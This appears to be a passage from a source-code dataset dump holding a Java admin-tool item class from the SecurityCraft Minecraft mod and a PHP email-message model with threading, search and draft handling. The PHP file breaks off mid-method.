code stringlengths 3 1.05M | repo_name stringlengths 4 116 | path stringlengths 4 991 | language stringclasses 9 values | license stringclasses 15 values | size int32 3 1.05M |
|---|---|---|---|---|---|
package net.geforcemods.securitycraft.items;
import java.util.List;
import net.geforcemods.securitycraft.ConfigHandler;
import net.geforcemods.securitycraft.SCContent;
import net.geforcemods.securitycraft.api.IModuleInventory;
import net.geforcemods.securitycraft.api.IOwnable;
import net.geforcemods.securitycraft.api.IPasswordProtected;
import net.geforcemods.securitycraft.blockentities.SecretSignBlockEntity;
import net.geforcemods.securitycraft.misc.ModuleType;
import net.geforcemods.securitycraft.util.PlayerUtils;
import net.geforcemods.securitycraft.util.Utils;
import net.minecraft.ChatFormatting;
import net.minecraft.core.BlockPos;
import net.minecraft.network.chat.FormattedText;
import net.minecraft.network.chat.MutableComponent;
import net.minecraft.network.chat.TextComponent;
import net.minecraft.network.chat.TranslatableComponent;
import net.minecraft.world.InteractionHand;
import net.minecraft.world.InteractionResult;
import net.minecraft.world.InteractionResultHolder;
import net.minecraft.world.entity.player.Player;
import net.minecraft.world.item.Item;
import net.minecraft.world.item.ItemStack;
import net.minecraft.world.item.context.UseOnContext;
import net.minecraft.world.level.Level;
import net.minecraft.world.level.block.entity.BlockEntity;
public class AdminToolItem extends Item {
public AdminToolItem(Item.Properties properties) {
super(properties);
}
@Override
public InteractionResult onItemUseFirst(ItemStack stack, UseOnContext ctx) {
Level level = ctx.getLevel();
BlockPos pos = ctx.getClickedPos();
Player player = ctx.getPlayer();
MutableComponent adminToolName = Utils.localize(getDescriptionId());
if (ConfigHandler.SERVER.allowAdminTool.get()) {
if (!player.isCreative()) {
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.needCreative"), ChatFormatting.DARK_PURPLE);
return InteractionResult.FAIL;
}
InteractionResult briefcaseResult = handleBriefcase(player, ctx.getHand()).getResult();
if (briefcaseResult != InteractionResult.PASS)
return briefcaseResult;
BlockEntity be = level.getBlockEntity(pos);
if (be != null) {
boolean hasInfo = false;
if (be instanceof IOwnable ownable) {
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.owner.name", (ownable.getOwner().getName() == null ? "????" : ownable.getOwner().getName())), ChatFormatting.DARK_PURPLE);
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.owner.uuid", (ownable.getOwner().getUUID() == null ? "????" : ownable.getOwner().getUUID())), ChatFormatting.DARK_PURPLE);
hasInfo = true;
}
if (be instanceof IPasswordProtected passwordProtected) {
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.password", (passwordProtected.getPassword() == null ? "????" : passwordProtected.getPassword())), ChatFormatting.DARK_PURPLE);
hasInfo = true;
}
if (be instanceof IModuleInventory inv) {
List<ModuleType> modules = inv.getInsertedModules();
if (!modules.isEmpty()) {
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.equippedModules"), ChatFormatting.DARK_PURPLE);
for (ModuleType module : modules) {
PlayerUtils.sendMessageToPlayer(player, adminToolName, new TextComponent("- ").append(new TranslatableComponent(module.getTranslationKey())), ChatFormatting.DARK_PURPLE);
}
hasInfo = true;
}
}
if (be instanceof SecretSignBlockEntity signTe) {
PlayerUtils.sendMessageToPlayer(player, adminToolName, new TextComponent(""), ChatFormatting.DARK_PURPLE); //EMPTY
for (int i = 0; i < 4; i++) {
FormattedText text = signTe.getMessage(i, false);
if (text instanceof MutableComponent mutableComponent)
PlayerUtils.sendMessageToPlayer(player, adminToolName, mutableComponent, ChatFormatting.DARK_PURPLE);
}
hasInfo = true;
}
if (!hasInfo)
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.noInfo"), ChatFormatting.DARK_PURPLE);
return InteractionResult.SUCCESS;
}
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.noInfo"), ChatFormatting.DARK_PURPLE);
}
else
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.disabled"), ChatFormatting.DARK_PURPLE);
return InteractionResult.FAIL;
}
@Override
public InteractionResultHolder<ItemStack> use(Level level, Player player, InteractionHand hand) {
if (!player.isCreative()) {
PlayerUtils.sendMessageToPlayer(player, Utils.localize(getDescriptionId()), Utils.localize("messages.securitycraft:adminTool.needCreative"), ChatFormatting.DARK_PURPLE);
return InteractionResultHolder.fail(player.getItemInHand(hand));
}
else
return handleBriefcase(player, hand);
}
private InteractionResultHolder<ItemStack> handleBriefcase(Player player, InteractionHand hand) {
ItemStack adminTool = player.getItemInHand(hand);
if (hand == InteractionHand.MAIN_HAND && player.getOffhandItem().getItem() == SCContent.BRIEFCASE.get()) {
ItemStack briefcase = player.getOffhandItem();
MutableComponent adminToolName = Utils.localize(getDescriptionId());
String ownerName = BriefcaseItem.getOwnerName(briefcase);
String ownerUUID = BriefcaseItem.getOwnerUUID(briefcase);
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.owner.name", ownerName.isEmpty() ? "????" : ownerName), ChatFormatting.DARK_PURPLE);
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.owner.uuid", ownerUUID.isEmpty() ? "????" : ownerUUID), ChatFormatting.DARK_PURPLE);
PlayerUtils.sendMessageToPlayer(player, adminToolName, Utils.localize("messages.securitycraft:adminTool.password", briefcase.hasTag() ? briefcase.getTag().getString("passcode") : "????"), ChatFormatting.DARK_PURPLE);
return InteractionResultHolder.success(adminTool);
}
return InteractionResultHolder.pass(adminTool);
}
}
| Geforce132/SecurityCraft | src/main/java/net/geforcemods/securitycraft/items/AdminToolItem.java | Java | gpl-3.0 | 6,318 |
<?php
namespace App\Model;
use Fn;
use PDO;
use stdClass;
use Exception;
use App\Model;
use App\Config;
use App\Messages\MessageInterface;
use App\Exceptions\NotFoundException;
use App\Exceptions\ValidationException;
use App\Exceptions\DatabaseInsertException;
use App\Exceptions\DatabaseUpdateException;
class Message extends Model implements MessageInterface
{
public $id;
public $to;
public $cc;
public $bcc;
public $from;
public $date;
public $size;
public $seen;
public $draft;
public $purge;
public $synced;
public $recent;
public $flagged;
public $deleted;
public $subject;
public $charset;
public $answered;
public $reply_to;
public $date_str;
public $recv_str;
public $date_recv;
public $unique_id;
public $folder_id;
public $thread_id;
public $outbox_id;
public $text_html;
public $account_id;
public $message_id;
public $message_no;
public $text_plain;
public $references;
public $created_at;
public $in_reply_to;
public $attachments;
public $raw_headers;
public $raw_content;
public $uid_validity;
// Computed properties
public $thread_count;
// Lazy-loaded outbox message
private $outboxMessage;
// Cache for threading info
private $threadCache = [];
// Cache for attachments
private $unserializedAttachments;
// Flags
const FLAG_SEEN = 'seen';
const FLAG_FLAGGED = 'flagged';
const FLAG_DELETED = 'deleted';
// Options
const IS_DRAFTS = 'is_drafts';
const ALL_SIBLINGS = 'all_siblings';
const ONLY_FLAGGED = 'only_flagged';
const ONLY_DELETED = 'only_deleted';
const SPLIT_FLAGGED = 'split_flagged';
const INCLUDE_DELETED = 'include_deleted';
const ONLY_FUTURE_SIBLINGS = 'only_future';
// Default options
const DEFAULTS = [
'is_drafts' => false,
'only_future' => false,
'all_siblings' => false,
'only_flagged' => false,
'only_deleted' => false,
'split_flagged' => false,
'include_deleted' => false
];
public function getData()
{
return [
'id' => $this->id,
'to' => $this->to,
'cc' => $this->cc,
'bcc' => $this->bcc,
'from' => $this->from,
'date' => $this->date,
'size' => $this->size,
'seen' => $this->seen,
'draft' => $this->draft,
'purge' => $this->purge,
'synced' => $this->synced,
'recent' => $this->recent,
'flagged' => $this->flagged,
'deleted' => $this->deleted,
'subject' => $this->subject,
'charset' => $this->charset,
'answered' => $this->answered,
'reply_to' => $this->reply_to,
'date_str' => $this->date_str,
'recv_str' => $this->recv_str,
'date_recv' => $this->date_recv,
'unique_id' => $this->unique_id,
'folder_id' => $this->folder_id,
'thread_id' => $this->thread_id,
'outbox_id' => $this->outbox_id,
'text_html' => $this->text_html,
'account_id' => $this->account_id,
'message_id' => $this->message_id,
'message_no' => $this->message_no,
'text_plain' => $this->text_plain,
'references' => $this->references,
'created_at' => $this->created_at,
'in_reply_to' => $this->in_reply_to,
'attachments' => $this->attachments,
'raw_headers' => $this->raw_headers,
'raw_content' => $this->raw_content,
'uid_validity' => $this->uid_validity
];
}
public function getAttachments()
{
if (! is_null($this->unserializedAttachments)) {
return $this->unserializedAttachments;
}
$this->unserializedAttachments = @unserialize($this->attachments);
return $this->unserializedAttachments;
}
public function getOriginal()
{
return $this->raw_headers."\r\n".$this->raw_content;
}
/**
* @param bool $stringify If true, return string, otherwise array
* @param string $ignoreAddress If set, ignore this email in the response
* @param array $allowedFields Defaults to `from`, `to`, `cc`
*
* @return string|array
*/
public function getReplyAllAddresses(
bool $stringify = true,
string $ignoreAddress = '',
array $allowedFields = [],
bool $allowEmpty = false
) {
$addresses = [];
$allowedKeys = ['from', 'to', 'cc', 'reply_to'];
$fields = array_intersect($allowedKeys, $allowedFields);
$fields = $fields ?: ['reply_to', 'to', 'cc'];
foreach ($fields as $field) {
if ($this->$field) {
$addresses = array_merge(
$addresses,
explode(',', $this->$field)
);
}
}
$list = array_unique(array_filter(array_map('trim', $addresses)));
if ($ignoreAddress) {
$list = array_filter(
$list,
function ($address) use ($ignoreAddress) {
if (trim($address, '<> ') === $ignoreAddress
|| false !== strpos($address, '<'.$ignoreAddress.'>')
) {
return false;
} else {
return true;
}
}
);
}
if (! $list && false === $allowEmpty) {
$list = [$this->from];
}
return $stringify
? implode(', ', $list)
: array_values($list);
}
public function getReplyAddress(bool $stringify = true)
{
$replyTo = $this->getReplyAllAddresses($stringify, '', ['reply_to']);
return $replyTo ?: $this->getReplyAllAddresses($stringify, '', ['from']);
}
public function getReplyToAddresses(string $accountEmail = '', bool $stringify = false)
{
return $this->getReplyAllAddresses(
$stringify,
$accountEmail,
['reply_to', 'from', 'to'],
false
);
}
public function getReplyCcAddresses(string $accountEmail = '', bool $stringify = false)
{
return $this->getReplyAllAddresses(
$stringify,
$accountEmail,
['cc'],
true
);
}
public function loadById()
{
if (! $this->id) {
throw new NotFoundException;
}
return $this->getById($this->id, false, true);
}
public function getById(
int $id,
bool $throwExceptionOnNotFound = false,
bool $useSelf = false
) {
$message = $this->db()
->select()
->from('messages')
->where('id', '=', $id)
->execute()
->fetchObject();
if (! $message && $throwExceptionOnNotFound) {
throw new NotFoundException;
}
if (true === $useSelf) {
$this->setData((array) $message);
return $this;
}
return $message
? new self((array) $message)
: false;
}
public function getByIds(array $ids)
{
if (! $ids) {
return [];
}
return $this->db()
->select()
->from('messages')
->whereIn('id', $ids)
->execute()
->fetchAll(PDO::FETCH_CLASS, get_class());
}
public function getByOutboxId(int $outboxId, int $folderId)
{
$message = $this->db()
->select()
->from('messages')
->where('outbox_id', '=', $outboxId)
->where('folder_id', '=', $folderId)
->execute()
->fetch();
return new self($message ?: null);
}
public function getOutboxMessage()
{
if ($this->outboxMessage) {
return $this->outboxMessage;
}
$this->outboxMessage = (new Outbox)->getById($this->outbox_id ?: 0);
return $this->outboxMessage;
}
/**
* Returns the data for an entire thread.
*/
public function getThread(
int $accountId,
int $threadId,
array $skipFolderIds = [],
array $onlyFolderIds = []
) {
$query = $this->db()
->select()
->from('messages')
->where('deleted', '=', 0)
->where('thread_id', '=', $threadId)
->where('account_id', '=', $accountId)
->orderBy('date', Model::ASC);
if ($onlyFolderIds) {
// Some requests, like viewing the trash folder, want to
// restrict all messages to that folder ID
$query->whereIn('folder_id', $onlyFolderIds);
} elseif ($skipFolderIds) {
// Most requests want to skip the spam and trash folders
$query->whereNotIn('folder_id', $skipFolderIds);
}
return $query
->execute()
->fetchAll(PDO::FETCH_CLASS, get_class());
}
/**
* Returns a list of messages by folder and account.
*
* @return array Message objects
*/
public function getThreadsByFolder(
int $accountId,
int $folderId,
int $limit = 50,
int $offset = 0,
array $skipFolderIds = [],
array $onlyFolderIds = [],
array $options = []
) {
$meta = $this->getThreadCountsByFolder(
$accountId,
$folderId,
$skipFolderIds,
$onlyFolderIds
);
return $this->loadThreadsByThreadIds(
$meta,
$accountId,
$limit,
$offset,
$skipFolderIds,
$onlyFolderIds,
$options
);
}
/**
* Returns a list of messages by account and search query,
* and optionally also by folder.
*
* @return array Message objects
*/
public function getThreadsBySearch(
int $accountId,
string $query,
int $folderId = null,
int $limit = 50,
int $offset = 0,
string $sortBy = 'date',
array $skipFolderIds = [],
array $onlyFolderIds = [],
array $options = []
) {
$meta = $this->getThreadCountsBySearch(
$accountId,
$query,
$folderId,
$sortBy,
$skipFolderIds,
$onlyFolderIds
);
return $this->loadThreadsByThreadIds(
$meta,
$accountId,
$limit,
$offset,
$skipFolderIds,
$onlyFolderIds,
$options
);
}
/**
* Returns two counts of messages, by flagged and un-flagged.
* Also returns the thread IDs that belong to both groups.
*
* @return object
*/
public function getThreadCountsByFolder(
int $accountId,
int $folderId,
array $skipFolderIds = [],
array $onlyFolderIds = []
) {
$counts = (object) [
'flagged' => 0,
'unflagged' => 0,
'flaggedIds' => [],
'unflaggedIds' => []
];
$threadIds = $this->getThreadIdsByFolder($accountId, $folderId);
return $this->loadThreadCountsByThreadIds(
$threadIds,
$counts,
$accountId,
$skipFolderIds,
$onlyFolderIds
);
}
/**
* Similar method, but pulls thread counts by a search query.
*
* @return object
*/
public function getThreadCountsBySearch(
int $accountId,
string $query,
int $folderId = null,
string $sortBy = 'date',
array $skipFolderIds = [],
array $onlyFolderIds = []
) {
$counts = (object) [
'flagged' => 0,
'unflagged' => 0,
'flaggedIds' => [],
'unflaggedIds' => []
];
$threadIds = $this->getThreadIdsBySearch(
$accountId, $query, $folderId, $sortBy
);
return $this->loadThreadCountsByThreadIds(
$threadIds,
$counts,
$accountId,
$skipFolderIds,
$onlyFolderIds
);
}
/**
* Internal method for compiling counts by thread IDs.
*
* @return stdClass $counts Modified counts object
*/
private function loadThreadCountsByThreadIds(
array $threadIds,
stdClass $counts,
int $accountId,
array $skipFolderIds = [],
array $onlyFolderIds = []
) {
if (! $threadIds) {
return $counts;
}
$query = $this->db()
->select(['thread_id', 'sum(flagged) as flagged_count'])
->from('messages')
->where('deleted', '=', 0)
->where('account_id', '=', $accountId)
->whereIn('thread_id', $threadIds)
->groupBy(['thread_id']);
if ($onlyFolderIds) {
// Some requests, like viewing the trash folder, want to
// restrict all messages to that folder ID
$query->whereIn('folder_id', $onlyFolderIds);
} elseif ($skipFolderIds) {
// Most requests want to skip the spam and trash folders
$query->whereNotIn('folder_id', $skipFolderIds);
}
// Now fetch all messages in any of these threads. Any message
// in the thread could be starred.
$results = $query->execute()->fetchAll(PDO::FETCH_CLASS);
foreach ($results as $result) {
if ($result->flagged_count > 0) {
++$counts->flagged;
$counts->flaggedIds[] = $result->thread_id;
} else {
++$counts->unflagged;
$counts->unflaggedIds[] = $result->thread_id;
}
}
return $counts;
}
/**
* Load the thread IDs for a given folder.
*
* @return array
*/
private function getThreadIdsByFolder(int $accountId, int $folderId)
{
$threadIds = [];
$results = $this->db()
->select(['thread_id'])
->distinct()
->from('messages')
->where('deleted', '=', 0)
->where('folder_id', '=', $folderId)
->where('account_id', '=', $accountId)
->execute()
->fetchAll(PDO::FETCH_CLASS);
foreach ($results as $result) {
$threadIds[] = $result->thread_id;
}
return array_values(array_unique($threadIds));
}
/**
* Returns a list of thread IDs by search query and account.
*
* @todo This should use a different more custom query builder.
* Queries could look like "from:name@email.com" and will
* need to be fully parsed properly.
*
* @return array
*/
private function getThreadIdsBySearch(
int $accountId,
string $query,
int $folderId = null,
string $sortBy = 'date',
string $sortDir = Model::DESC
) {
// Work with the raw PDO object for this query
// This will prepare the user query string
$sql = 'SELECT thread_id, MATCH (subject, text_plain) '.
'AGAINST (:queryA IN NATURAL LANGUAGE MODE) AS score '.
'FROM messages '.
'WHERE deleted = 0 AND account_id = :accountId '.
($folderId ? 'AND folder_id = :folderId ' : '').
'AND MATCH (subject, text_plain) AGAINST (:queryB IN NATURAL LANGUAGE MODE) '.
'GROUP BY thread_id '.
'HAVING score > 5 '.
'ORDER BY :sortBy '.$sortDir;
$sth = $this->db()->prepare($sql);
$sth->bindValue(':queryA', $query, PDO::PARAM_STR);
$sth->bindValue(':queryB', $query, PDO::PARAM_STR);
$sth->bindValue(':accountId', $accountId, PDO::PARAM_INT);
$sth->bindValue(':sortBy', $sortBy, PDO::PARAM_STR);
if ($folderId) {
$sth->bindValue(':folderId', $folderId, PDO::PARAM_INT);
}
$threadIds = [];
$sth->execute();
$results = $sth->fetchAll(PDO::FETCH_CLASS);
foreach ($results as $result) {
$threadIds[] = $result->thread_id;
}
return array_values(array_unique($threadIds));
}
/**
* Internal method for loading threads by a collection of IDs.
*
* @return array Message objects
*/
private function loadThreadsByThreadIds(
stdClass $meta,
int $accountId,
int $limit,
int $offset,
array $skipFolderIds,
array $onlyFolderIds,
array $options
) {
$threadIds = array_merge($meta->flaggedIds, $meta->unflaggedIds);
$options = array_merge(self::DEFAULTS, $options);
if (! $threadIds) {
return [];
}
if (true === $options[self::SPLIT_FLAGGED]) {
$flagged = $this->getThreads(
$meta->flaggedIds,
$accountId, $limit, $offset,
$skipFolderIds, $onlyFolderIds
);
$unflagged = $this->getThreads(
$meta->unflaggedIds,
$accountId, $limit, $offset,
$skipFolderIds, $onlyFolderIds
);
$messages = array_merge($flagged, $unflagged);
} elseif (true === $options[self::ONLY_FLAGGED]) {
$messages = $this->getThreads(
$meta->flaggedIds,
$accountId, $limit, $offset,
$skipFolderIds, $onlyFolderIds
);
} else {
$messages = $this->getThreads(
$threadIds,
$accountId, $limit, $offset,
$skipFolderIds, $onlyFolderIds
);
}
// Load all messages in these threads. We need to get the names
// of anyone involved in the thread, any folders, and the subject
// from the first message in the thread, and the date from the
// last message in the thread.
$query = $this->db()
->select([
'id', '`from`', 'thread_id',
'message_id', 'folder_id', 'seen',
'subject', '`date`', 'date_recv'
])
->from('messages')
->whereIn('thread_id', $threadIds)
->where('account_id', '=', $accountId)
->orderBy('`date`', Model::ASC);
if (false === $options[self::INCLUDE_DELETED]) {
$query->where('deleted', '=', 0);
}
$threadMessages = $query->execute()->fetchAll(PDO::FETCH_CLASS);
$messages = $this->buildThreadMessages(
$meta,
$threadMessages,
$messages,
$skipFolderIds,
$onlyFolderIds,
$options[self::IS_DRAFTS] ?? false
);
return $messages ?: [];
}
/**
* Load the messages for threading. The limit and offset need to
* be applied after the threads are loaded. This is because we need
* to load all messages before figuring out the date sorting, and
* subsequent slicing of the array into the page.
*
* @return array Messages
*/
private function getThreads(
array $threadIds,
int $accountId,
int $limit,
int $offset,
array $skipFolderIds,
array $onlyFolderIds
) {
// Load all of the threads and sort by date
$allThreadIds = $this->getThreadDates($threadIds, $accountId);
// Take the slice of this list before querying
// for the large payload of data below
$sliceIds = array_slice($allThreadIds, $offset, $limit);
if (! count($sliceIds)) {
return [];
}
// Store additional query fields
$ignoreFolders = array_diff($skipFolderIds, $onlyFolderIds);
// Load all of the unique messages along with some
// meta data. This is used to then locate the most
// recent messages.
$qry = $this->db()
->select([
'id', 'thread_id', 'seen', 'folder_id', '`date`'
])
->from('messages')
->whereIn('thread_id', $sliceIds)
->where('deleted', '=', 0)
->groupBy('message_id')
->orderBy('thread_id', Model::ASC)
->orderBy('date', Model::DESC);
if ($ignoreFolders) {
$qry->whereNotIn('folder_id', $ignoreFolders);
}
$messages = $qry->execute()->fetchAll();
// Locate the most recent message ID and the oldest
// unseen message ID. These are used for querying
// the full message data.
$recents = [];
$unseens = [];
$textPlains = [];
foreach ($messages as $message) {
if (! isset($recents[$message['thread_id']])) {
$recents[$message['thread_id']] = $message['id'];
}
// We want the snippet to contain the oldest
// unread message unless
if (0 === (int) $message['seen']) {
$unseens[$message['thread_id']] = $message['id'];
}
}
if (! $recents) {
return [];
}
// Load all of the recent messages
$threads = $this->db()
->select([
'id', '`to`', 'cc', '`from`', '`date`',
'seen', 'subject', 'flagged', 'thread_id',
'charset', 'message_id', 'outbox_id',
'text_plain'
])
->from('messages')
->whereIn('id', $recents)
->execute()
->fetchAll(PDO::FETCH_CLASS, get_class());
if ($unseens) {
$textPlains = $this->db()
->select(['thread_id', 'text_plain'])
->from('messages')
->whereIn('id', $unseens)
->execute()
->fetchAll();
$textPlains = array_combine(
array_column($textPlains, 'thread_id'),
array_column($textPlains, 'text_plain')
);
}
foreach ($threads as $thread) {
if (isset($textPlains[$thread->thread_id])) {
$thread->text_plain = $textPlains[$thread->thread_id];
}
}
return $threads;
}
/**
* Returns thread and message IDs for the most recent
* message in a set of threads. Result set includes
* an array of rows containing thread_id and date.
*
* @return array
*/
private function getThreadDates(array $threadIds, int $accountId)
{
if (! $threadIds) {
return [];
}
$results = $this->db()
->select(['thread_id', 'max(date) as max_date'])
->from('messages')
->where('deleted', '=', 0)
->where('account_id', '=', $accountId)
->whereIn('thread_id', $threadIds)
->groupBy(['thread_id'])
->orderBy('max_date', Model::DESC)
->execute()
->fetchAll();
return array_column($results ?: [], 'thread_id');
}
/**
* Takes in raw message and thread data and combines them into
* an array of messages with additional properties.
*
* @return array
*/
private function buildThreadMessages(
stdClass $meta,
array $threadMessages,
array $messages,
array $skipFolderIds,
array $onlyFolderIds,
bool $preferNewest = false
) {
$threads = [];
$messageIds = [];
foreach ($threadMessages as $row) {
// Store the first message we find for the thread
if (! isset($threads[$row->thread_id]) || $preferNewest) {
$threads[$row->thread_id] = (object) [
'count' => 0,
'names' => [],
'seens' => [],
'folders' => [],
'id' => $row->id,
'unseen' => false,
'subject' => $row->subject,
'date' => $row->date_recv ?: $row->date
];
}
if ($onlyFolderIds) {
$threads[$row->thread_id]->folders[$row->folder_id] = true;
if (! in_array($row->folder_id, $onlyFolderIds)) {
continue;
}
}
if ($skipFolderIds && in_array($row->folder_id, $skipFolderIds)) {
continue;
}
// Update the list of folders in this thread
$threads[$row->thread_id]->folders[$row->folder_id] = true;
if ($row->message_id) {
if (isset($messageIds[$row->message_id])) {
continue;
} elseif (1 !== (int) $row->seen) {
$threads[$row->thread_id]->unseen = true;
}
$name = $this->getName($row->from);
++$threads[$row->thread_id]->count;
$threads[$row->thread_id]->id = $row->id;
$threads[$row->thread_id]->names[] = $name;
$threads[$row->thread_id]->seens[] = $row->seen;
$threads[$row->thread_id]->date = $row->date_recv ?: $row->date;
$messageIds[$row->message_id] = true;
}
}
foreach ($messages as $message) {
$message->names = [];
$message->seens = [];
$message->folders = [];
$message->thread_count = 1;
if (isset($threads[$message->thread_id])) {
$found = $threads[$message->thread_id];
$message->id = $found->id;
$message->date = $found->date;
$message->names = $found->names;
$message->seens = $found->seens;
$message->subject = $found->subject;
$message->thread_count = $found->count;
$message->folders = array_keys($found->folders);
// Update master seen flag
$message->seen = $found->unseen ? 0 : 1;
}
if (in_array($message->thread_id, $meta->flaggedIds)) {
$message->flagged = 1;
}
}
return $messages;
}
public function getUnreadCounts(
int $accountId,
array $skipFolderIds,
int $draftMailboxId
) {
$indexed = [];
$unseenThreadIds = $this->getUnseenThreads($accountId, $skipFolderIds);
if ($unseenThreadIds) {
$qry = $this->db()
->select(['folder_id', 'thread_id'])
->from('messages')
->where('deleted', '=', 0)
->where('seen', '=', 0)
->whereIn('thread_id', $unseenThreadIds)
->groupBy(['folder_id', 'thread_id']);
if ($skipFolderIds) {
$qry->whereNotIn('folder_id', $skipFolderIds);
}
$folderThreads = $qry->execute()->fetchAll(PDO::FETCH_CLASS);
foreach ($folderThreads as $thread) {
if (! isset($indexed[$thread->folder_id])) {
$indexed[$thread->folder_id] = 0;
}
++$indexed[$thread->folder_id];
}
}
// Set all messages as unread for the drafts mailbox
if ($draftMailboxId) {
$draftThreads = $this->db()
->select(['count(distinct(thread_id)) as count'])
->from('messages')
->where('deleted', '=', 0)
->where('folder_id', '=', $draftMailboxId)
->execute()
->fetch();
}
$indexed[$draftMailboxId] = $draftThreads['count'] ?? 0;
return $indexed;
}
private function getUnseenThreads(int $accountId, array $skipFolderIds)
{
$threadIds = [];
$qry = $this->db()
->select(['thread_id'])
->from('messages')
->where('seen', '=', 0)
->where('deleted', '=', 0)
->where('account_id', '=', $accountId);
if ($skipFolderIds) {
$qry->whereNotIn('folder_id', $skipFolderIds);
}
$threads = $qry->execute()->fetchAll(PDO::FETCH_CLASS);
if (! $threads) {
return [];
}
foreach ($threads as $row) {
$threadIds[] = $row->thread_id;
}
return array_values(array_unique($threadIds));
}
/**
* @return stdClass Object with three properties:
* count, thread_count, and size
*/
public function getSizeCounts(int $accountId)
{
return $this->db()
->select([
'count(distinct(message_id)) as count',
'count(distinct(thread_id)) as thread_count',
'sum(size) as size'
])
->from('messages')
->where('deleted', '=', 0)
->where('account_id', '=', $accountId)
->execute()
->fetchObject();
}
public function getName(string $from)
{
$from = trim($from);
$pos = strpos($from, '<');
if (false !== $pos && $pos > 0) {
return trim(substr($from, 0, $pos));
}
return trim($from, '<> ');
}
/**
* Store a computed thread count object in the cache.
*/
private function setThreadCache(int $accountId, int $folderId, stdClass $counts)
{
$this->threadsCache[$accountId.':'.$folderId] = $counts;
}
/**
* Checks the cache and returns (if set) the counts object.
*
* @return bool | object
*/
private function threadCache(int $accountId, int $folderId)
{
$key = $accountId.':'.$folderId;
if (! isset($this->threadCache[$key])) {
return false;
}
return $this->threadCache[$key];
}
/**
* Returns any message with the same message ID and thread ID.
*
* @return array of Messages
*/
public function getSiblings(array $filters = [], array $options = [])
{
$ids = [];
$addSelf = true;
$options = array_merge(self::DEFAULTS, $options);
// If even one filter value is different from the
// corresponding value on this message, then don't
// include this message in the query
foreach ($filters as $key => $value) {
if (is_array($value)) {
if (! in_array($this->$key, $value)) {
$addSelf = false;
break;
}
} elseif ((string) $this->$key !== (string) $value) {
$addSelf = false;
break;
}
}
if ($addSelf) {
$ids[] = $this->id;
}
$query = $this->db()
->select([
'id', 'account_id', 'folder_id', 'subject',
'message_id', 'thread_id', 'seen', 'draft',
'recent', 'flagged', 'deleted', 'answered',
'synced', 'date'
])
->from('messages')
->whereIn('deleted', true === $options[self::ONLY_DELETED]
? [1]
: (true === $options[self::INCLUDE_DELETED]
? [0, 1]
: [0]))
->where('thread_id', '=', $this->thread_id)
->where('account_id', '=', $this->account_id);
if (false === $options[self::ALL_SIBLINGS]) {
if (! $this->message_id) {
$query->where('id', '=', $this->id);
} else {
$query->where('message_id', '=', $this->message_id);
}
}
if (true === $options[self::ONLY_FUTURE_SIBLINGS]) {
$query->where('date', '>=', $this->date);
}
foreach ($filters as $key => $value) {
if (is_array($value) && count($value)) {
$query->whereIn($key, $value);
} else {
$query->where($key, '=', $value);
}
}
return $query->execute()->fetchAll(PDO::FETCH_CLASS, get_class());
}
/**
* Creates or modifies a draft message based on an outbox message.
* Only creates a new message if the outbox is a draft.
*
* @param Outbox $outbox
* @param int $draftsId Drafts mailbox (folder) ID
* @param Message $parent Message being replied to
*/
public function createOrUpdateDraft(
Outbox $outbox,
int $draftsId,
Message $parent = null
) {
// Only create the draft if the outbox message is a draft
if (1 !== (int) $outbox->draft) {
return;
}
// New message will be returned if not found
$message = $this->getByOutboxId($outbox->id, $draftsId);
// Set the date to now and stored in UTC
$utcDate = $this->utcDate();
$localDate = $this->localDate();
// Flags
$message->seen = 1;
$message->deleted = 0;
// ID fields
$message->unique_id = null;
$message->message_no = null;
$message->folder_id = $draftsId;
$message->outbox_id = $outbox->id;
$message->account_id = $outbox->account_id;
// String fields
$message->from = $outbox->from;
$message->subject = $outbox->subject;
$message->text_html = $outbox->text_html;
$message->text_plain = $outbox->text_plain;
$message->to = implode(', ', $outbox->to);
$message->cc = implode(', ', $outbox->cc);
$message->bcc = implode(', ', $outbox->bcc);
// Date fields
$message->date = $utcDate->format(DATE_DATABASE);
$message->date_str = $localDate->format(DATE_RFC822);
$message->date_recv = $utcDate->format(DATE_DATABASE);
if ($parent) {
$message->thread_id = $parent->thread_id;
$message->in_reply_to = $parent->message_id;
$message->message_id = Config::newMessageId();
$message->references = $parent->references
? $parent->references.', '.$parent->message_id
: $parent->message_id;
return $this->createOrUpdate($message, true, false);
}
return $this->createOrUpdate($message);
}
public function createOrUpdate(
Message $message,
bool $removeNulls = true,
bool $setThreadId = true
) {
$data = $message->getData();
if (true === $removeNulls) {
$data = array_filter($data, function ($var) {
return null !== $var;
});
}
if ($message->exists()) {
$updated = $this->db()
->update($data)
->table('messages')
->where('id', '=', $message->id)
->execute();
if (! is_numeric($updated)) {
throw new DatabaseUpdateException(
"Failed updating message {$message->id}"
);
}
} else {
$newMessageId = $this->db()
->insert(array_keys($data))
->into('messages')
->values(array_values($data))
->execute();
if (! $newMessageId) {
throw new DatabaseInsertException('Failed creating new message');
}
$message->id = $newMessageId;
// Update the thread ID
if (true === $setThreadId) {
$message->setThreadId($newMessageId);
}
}
return $message;
}
/**
* Stores the thread ID on a message.
*
* @param int $threadId
*
* @return bool
*/
public function setThreadId(int $threadId)
{
if (! $this->exists()) {
return false;
}
$updated = $this->db()
->update(['thread_id' => $threadId])
->table('messages')
->where('id', '=', $this->id)
->execute();
return is_numeric($updated) ? $updated : false;
}
/**
* Updates a flag on the message.
*/
public function setFlag(string $flag, bool $state, int $id = null)
{
$this->$flag = $state;
$updated = $this->db()
->update([
$flag => $state ? 1 : 0
])
->table('messages')
->where('id', '=', $id ?? $this->id)
->execute();
return is_numeric($updated) ? $updated : false;
}
/**
* Create a new message in the specified folder.
*
* @return Message
*
* @throws Exception
*/
public function copyTo(int $folderId)
{
// If this message exists in the folder and is not deleted,
// then skip the operation.
$existingMessage = $this->db()
->select(['id'])
->from('messages')
